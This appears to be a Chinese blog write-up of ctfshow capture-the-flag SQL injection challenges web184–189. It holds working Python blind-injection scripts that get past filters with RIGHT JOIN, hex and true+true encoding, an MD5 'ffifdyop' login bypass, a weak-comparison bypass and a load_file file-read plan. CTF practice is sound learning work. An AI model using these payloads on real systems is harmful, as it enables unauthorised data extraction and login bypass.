芜湖,刚刚考完科目三,又是开始学习的一天
web184
之前的懒得重新写了,
这里用"right join"右连接来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过
RIGHT JOIN(右连接)
用于获取右表所有记录,即使左表没有对应匹配的记录
过滤了where 所以我们用 on
过滤了单引号 所以我们用char(99) =c
char表 :char表
回显43;
然后我们写个脚本
import requests
url='http://1f6a8d55-3dd2-4924-a125-a22cb98125b5.challenge.ctf.show:8080/select-waf.php'
strflag='{1234567890-qwertyuiopasdfghjklzxcvbnm}'
payload='tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'
flag=''
for i in range(60):
if(i<5):
continue
for c in range(127):
data={
'tableName' : payload.format(str(i),c)
}
rep=requests.post(url,data=data)
if(rep.text.find("$user_count = 22;")>0):
flag+=chr(c)
break
print('正在盲注第{}位'.format(str(i)))
print('flag is ctfshow{}'.format(flag))
上面的我也不知道哪错了,有大哥路过的话帮俺看看
我又换了种,南方大佬的方法
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
后面是base64编码后的 ctfshow%
like 是匹配带有ctfshow的字段
import requests
import binascii
def to_hex(s):
# 字符串转16进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
str_16 = bytes.decode(str_16)
res = str_16.replace("b'","").replace("'","")
return res
url = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = "0x" + to_hex(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
这个OK了
web185
把所有数字都ban掉了,但是我学到了绕过方法
在mysql中 true 代表1 true+true 就是2
然后我们就可以构造数字了
脚本如下
import requests
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url = "http://2a90f1df-1ab5-434c-ac5e-bd9a5fe3aec0.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
web 186
上一个还能接着用
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
#print(result)
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
web 187
这次是个输入框,看题可知password 需要进行md5加密
然后我学到了这个字符串 :ffifdyop
他的md5恰好是’or’6�]��!r,��b
可以拼接成select * from admin where password=’‘or’6<乱码>’
不光有ffifdyop 还有129581926211651571912466741651878684928 也可达同样的效果
总之,相当于 select * from admin where password=’'or ture
账号:admin
密码:ffifdyop
flag在返回包中
web 188
可以看到是使用用户名查询然后在匹配密码
这里是用了弱比较
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
如果个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,
username=0&password=0
如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符
username=1||1&password=0
web189
用上题的方法不行,看南神博客说用盲注
开局就来个提示,flag在api/index.php中
这次尝试username=0&password=0登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file来配合regexp来进行盲注
LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
regexp: mysql中的正则表达式操作符
容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注
有问题这个等我整明白再说